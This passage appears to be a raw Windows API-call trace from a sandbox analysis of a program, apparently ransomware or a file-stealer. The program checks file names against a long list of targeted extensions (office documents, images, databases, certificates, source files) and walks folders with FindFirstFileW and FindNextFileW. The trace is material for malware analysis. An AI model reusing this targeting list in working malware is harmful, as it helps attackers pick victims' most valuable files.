lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0096.532] lstrlenW (lpString=".cdr") returned 4 [0096.532] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".cer") returned 4 [0096.532] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".cf") returned 3 [0096.532] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0096.532] lstrlenW (lpString=".cfc") returned 4 [0096.532] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".cfm") returned 4 [0096.532] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".cfml") returned 5 [0096.532] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0096.532] lstrlenW (lpString=".cfu") returned 4 [0096.532] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0096.532] lstrlenW (lpString=".chm") returned 4 [0096.532] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0096.533] lstrlenW (lpString=".cin") returned 4 [0096.534] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".class") returned 6 [0096.534] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0096.534] lstrlenW (lpString=".clx") returned 4 [0096.534] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".config") returned 7 [0096.534] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0096.534] lstrlenW (lpString=".cpp") returned 4 [0096.534] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".cr2") returned 4 [0096.534] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".crt") returned 4 [0096.534] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".crw") returned 4 [0096.534] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".cs") returned 3 [0096.534] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0096.534] lstrlenW (lpString=".css") returned 4 [0096.534] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".csv") returned 4 [0096.534] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".cub") returned 4 [0096.534] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".dae") returned 4 [0096.534] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".dat") returned 4 [0096.534] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".db") returned 3 [0096.534] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0096.534] lstrlenW (lpString=".dbf") returned 4 [0096.534] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".dbx") returned 4 [0096.534] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0096.534] lstrlenW (lpString=".dc3") returned 4 [0096.535] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".dcm") returned 4 [0096.535] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".dcr") returned 4 [0096.535] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".der") returned 4 [0096.535] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".dib") returned 4 [0096.535] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".dic") returned 4 [0096.535] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".dif") returned 4 [0096.535] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".divx") returned 5 [0096.535] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0096.535] lstrlenW (lpString=".djvu") returned 5 [0096.535] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0096.535] lstrlenW (lpString=".dng") returned 4 [0096.535] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".doc") returned 4 [0096.535] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".docm") returned 5 [0096.535] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0096.535] lstrlenW (lpString=".docx") returned 5 [0096.535] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0096.535] lstrlenW (lpString=".dot") returned 4 [0096.535] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0096.535] lstrlenW (lpString=".dotm") returned 5 [0096.535] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0096.535] lstrlenW (lpString=".dotx") returned 5 [0096.535] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0096.535] lstrlenW (lpString=".dpx") returned 4 [0096.536] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".dqy") returned 4 [0096.536] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".dsn") returned 4 [0096.536] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".dt") returned 3 [0096.536] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0096.536] lstrlenW (lpString=".dtd") returned 4 [0096.536] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".dwg") returned 4 [0096.536] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".dwt") returned 4 [0096.536] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".dx") returned 3 [0096.536] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0096.536] lstrlenW (lpString=".dxf") returned 4 [0096.536] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".edml") returned 5 [0096.536] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0096.536] lstrlenW (lpString=".efd") returned 4 [0096.536] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".elf") returned 4 [0096.536] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".emf") returned 4 [0096.536] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".emz") returned 4 [0096.536] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".epf") returned 4 [0096.536] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".eps") returned 4 [0096.536] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0096.536] lstrlenW (lpString=".epsf") returned 5 [0096.536] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0096.537] lstrlenW (lpString=".epsp") returned 5 [0096.537] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0096.537] lstrlenW (lpString=".erf") returned 4 [0096.537] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".exr") returned 4 [0096.537] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".f4v") returned 4 [0096.537] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".fido") returned 5 [0096.537] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0096.537] lstrlenW (lpString=".flm") returned 4 [0096.537] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".flv") returned 4 [0096.537] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".frm") returned 4 [0096.537] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".fxg") returned 4 [0096.537] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".geo") returned 4 [0096.537] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".gif") returned 4 [0096.537] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".grs") returned 4 [0096.537] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".gz") returned 3 [0096.537] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0096.537] lstrlenW (lpString=".h") returned 2 [0096.537] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0096.537] lstrlenW (lpString=".hdr") returned 4 [0096.537] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".hpp") returned 4 [0096.537] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".hta") returned 4 [0096.537] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0096.537] lstrlenW (lpString=".htc") returned 4 [0096.538] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".htm") returned 4 [0096.538] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".html") returned 5 [0096.538] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0096.538] lstrlenW (lpString=".icb") returned 4 [0096.538] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".ics") returned 4 [0096.538] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".iff") returned 4 [0096.538] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".inc") returned 4 [0096.538] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".indd") returned 5 [0096.538] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0096.538] lstrlenW (lpString=".ini") returned 4 [0096.538] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".iqy") returned 4 [0096.538] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".j2c") returned 4 [0096.538] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".j2k") returned 4 [0096.538] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".java") returned 5 [0096.538] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0096.538] lstrlenW (lpString=".jp2") returned 4 [0096.538] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".jpc") returned 4 [0096.538] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".jpe") returned 4 [0096.538] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0096.538] lstrlenW (lpString=".jpeg") returned 5 [0096.538] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0096.538] lstrlenW (lpString=".jpf") returned 4 [0096.539] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".jpg") returned 4 [0096.539] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".jpx") returned 4 [0096.539] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".js") returned 3 [0096.539] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0096.539] lstrlenW (lpString=".jsf") returned 4 [0096.539] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".json") returned 5 [0096.539] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0096.539] lstrlenW (lpString=".jsp") returned 4 [0096.539] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".kdc") returned 4 [0096.539] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".kmz") returned 4 [0096.539] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".kwm") returned 4 [0096.539] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".lasso") returned 6 [0096.539] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0096.539] lstrlenW (lpString=".lbi") returned 4 [0096.539] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".lgf") returned 4 [0096.539] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".lgp") returned 4 [0096.539] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".log") returned 4 [0096.539] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".m1v") returned 4 [0096.539] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".m4a") returned 4 [0096.539] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0096.539] lstrlenW (lpString=".m4v") returned 4 [0096.540] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".max") returned 4 [0096.540] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".md") returned 3 [0096.540] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0096.540] lstrlenW (lpString=".mda") returned 4 [0096.540] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mdb") returned 4 [0096.540] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mde") returned 4 [0096.540] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mdf") returned 4 [0096.540] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mdw") returned 4 [0096.540] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mef") returned 4 [0096.540] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mft") returned 4 [0096.540] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mfw") returned 4 [0096.540] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mht") returned 4 [0096.540] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mhtml") returned 6 [0096.540] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0096.540] lstrlenW (lpString=".mka") returned 4 [0096.540] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mkidx") returned 6 [0096.540] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0096.540] lstrlenW (lpString=".mkv") returned 4 [0096.540] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mos") returned 4 [0096.540] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0096.540] lstrlenW (lpString=".mov") returned 4 [0096.540] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".mp3") returned 4 [0096.541] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".mp4") returned 4 [0096.541] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".mpeg") returned 5 [0096.541] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0096.541] lstrlenW (lpString=".mpg") returned 4 [0096.541] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".mpv") returned 4 [0096.541] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".mrw") returned 4 [0096.541] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".msg") returned 4 [0096.541] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".mxl") returned 4 [0096.541] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".myd") returned 4 [0096.541] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".myi") returned 4 [0096.541] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".nef") returned 4 [0096.541] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".nrw") returned 4 [0096.541] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".obj") returned 4 [0096.541] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".odb") returned 4 [0096.541] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".odc") returned 4 [0096.541] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".odm") returned 4 [0096.541] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".odp") returned 4 [0096.541] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0096.541] lstrlenW (lpString=".ods") returned 4 [0096.542] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".oft") returned 4 [0096.542] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".one") returned 4 [0096.542] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".onepkg") returned 7 [0096.542] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0096.542] lstrlenW (lpString=".onetoc2") returned 8 [0096.542] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0096.542] lstrlenW (lpString=".opt") returned 4 [0096.542] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".oqy") returned 4 [0096.542] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".orf") returned 4 [0096.542] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".p12") returned 4 [0096.542] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".p7b") returned 4 [0096.542] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".p7c") returned 4 [0096.542] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pam") returned 4 [0096.542] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pbm") returned 4 [0096.542] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pct") returned 4 [0096.542] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pcx") returned 4 [0096.542] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pdd") returned 4 [0096.542] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pdf") returned 4 [0096.542] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0096.542] lstrlenW (lpString=".pdp") returned 4 [0096.543] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pef") returned 4 [0096.543] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pem") returned 4 [0096.543] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pff") returned 4 [0096.543] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pfm") returned 4 [0096.543] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pfx") returned 4 [0096.543] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pgm") returned 4 [0096.543] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".php") returned 4 [0096.543] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".php3") returned 5 [0096.543] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0096.543] lstrlenW (lpString=".php4") returned 5 [0096.543] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0096.543] lstrlenW (lpString=".php5") returned 5 [0096.543] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0096.543] lstrlenW (lpString=".phtml") returned 6 [0096.543] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0096.543] lstrlenW (lpString=".pict") returned 5 [0096.543] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0096.543] lstrlenW (lpString=".pl") returned 3 [0096.543] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0096.543] lstrlenW (lpString=".pls") returned 4 [0096.543] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pm") returned 3 [0096.543] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0096.543] lstrlenW (lpString=".png") returned 4 [0096.543] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0096.543] lstrlenW (lpString=".pnm") returned 4 [0096.544] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".pot") returned 4 [0096.544] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".potm") returned 5 [0096.544] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0096.544] lstrlenW (lpString=".potx") returned 5 [0096.544] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0096.544] lstrlenW (lpString=".ppa") returned 4 [0096.544] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".ppam") returned 5 [0096.544] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0096.544] lstrlenW (lpString=".ppm") returned 4 [0096.544] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".pps") returned 4 [0096.544] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".ppsm") returned 5 [0096.544] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0096.544] lstrlenW (lpString=".ppt") returned 4 [0096.544] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".pptm") returned 5 [0096.544] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0096.544] lstrlenW (lpString=".pptx") returned 5 [0096.544] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0096.544] lstrlenW (lpString=".prn") returned 4 [0096.544] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".ps") returned 3 [0096.544] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0096.544] lstrlenW (lpString=".psb") returned 4 [0096.544] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".psd") returned 4 [0096.544] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".pst") returned 4 [0096.544] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0096.544] lstrlenW (lpString=".ptx") returned 4 [0096.545] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0096.545] lstrlenW (lpString=".pub") returned 4 [0096.545] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0096.545] lstrlenW (lpString=".pwm") returned 4 [0096.545] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0096.545] lstrlenW (lpString=".pxr") returned 4 [0096.545] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0096.545] lstrlenW (lpString=".py") returned 3 [0096.545] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0096.545] lstrlenW (lpString=".qt") returned 3 [0096.545] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0096.545] lstrlenW (lpString=".r3d") returned 4 [0096.545] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0096.545] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0096.545] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0096.545] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0096.546] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0096.546] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0096.546] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1031", cAlternateFileName="")) returned 1 [0096.546] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0096.546] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031") returned 26 [0096.546] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, 